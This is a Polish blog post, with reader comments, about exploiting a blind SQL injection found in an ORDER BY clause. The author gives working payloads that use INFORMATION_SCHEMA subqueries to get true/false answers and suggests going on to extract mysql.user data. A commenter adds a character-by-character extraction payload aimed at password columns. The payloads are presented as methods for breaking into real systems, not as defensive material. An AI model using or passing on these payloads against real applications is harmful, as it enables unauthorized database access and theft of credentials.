Blind SQL-injection

blind sql injection zmusza do myślenia. kiedy można odpytywać bazę danych tylko przy pomocy stwierdzeń czy zapytanie zwróciło PRAWDĘ lub FAŁSZ, z dużą cierpliwością selekcjonuje sie najbardziej optymalne zapytania. znalazłem ostatnio blind sql-a, zapytanie wyglądało mniej więcej tak:

SELECT id,tytul,tresc,data FROM tabela_jakas_tam WHERE tytul='jakis' ORDER BY $id

jak to wykorzystać? UNION nie dołączymy, bo zwróci nam Incorrect usage of UNION and ORDER BY. Ja rozwiązałem to w taki sposób, że zapytanie wyglądało tak:

SELECT id,tytul,tresc,data FROM tabela_jakas_tam WHERE tytul='jakis' ORDER BY (SELECT id FROM INFORMATION_SCHEMA.tables WHERE 1=1)

SELECT id,tytul,tresc,data FROM tabela_jakas_tam WHERE tytul='jakis' ORDER BY (SELECT id FROM INFORMATION_SCHEMA.tables WHERE 1=2)

Można stwierdzić prawdę i fałsz ;] Teraz tylko dopisać kod, który wyciągnie potrzebne info z mysql.user lub INFORMATION_SCHEMA i można wejść w głąb systemu.

p.s jak macie lepsze pomysły wykorzystania albo spotkaliście się z podobnymi problemami – piszcie ;P

2 comments so far

  1. c411k on

    o „Blind SQL-injection” już 100 razy napisano, więc w nich nie ma żadnych trudności. mail me you icq.

  2. c411k on

    kieruj się na true or false. na przykład

    SELECT id,tytul,tresc,data FROM tabela_jakas_tam WHERE tytul=’jakis’ ORDER BY 2

    SELECT id,tytul,tresc,data FROM tabela_jakas_tam WHERE tytul=’jakis’ ORDER BY (if((ascii(substring((select column_name from information_schema.columns where column_name like ‚%pass%’ limit 0,1),1,1))>=55),tytul,9))

    eksperymentuj😉


Skomentuj

Wprowadź swoje dane lub kliknij jedną z tych ikon, aby się zalogować:

Logo WordPress.com

Komentujesz korzystając z konta WordPress.com. Log Out / Zmień )

Zdjęcie z Twittera

Komentujesz korzystając z konta Twitter. Log Out / Zmień )

Facebook photo

Komentujesz korzystając z konta Facebook. Log Out / Zmień )

Google+ photo

Komentujesz korzystając z konta Google+. Log Out / Zmień )

Connecting to %s

%d bloggers like this: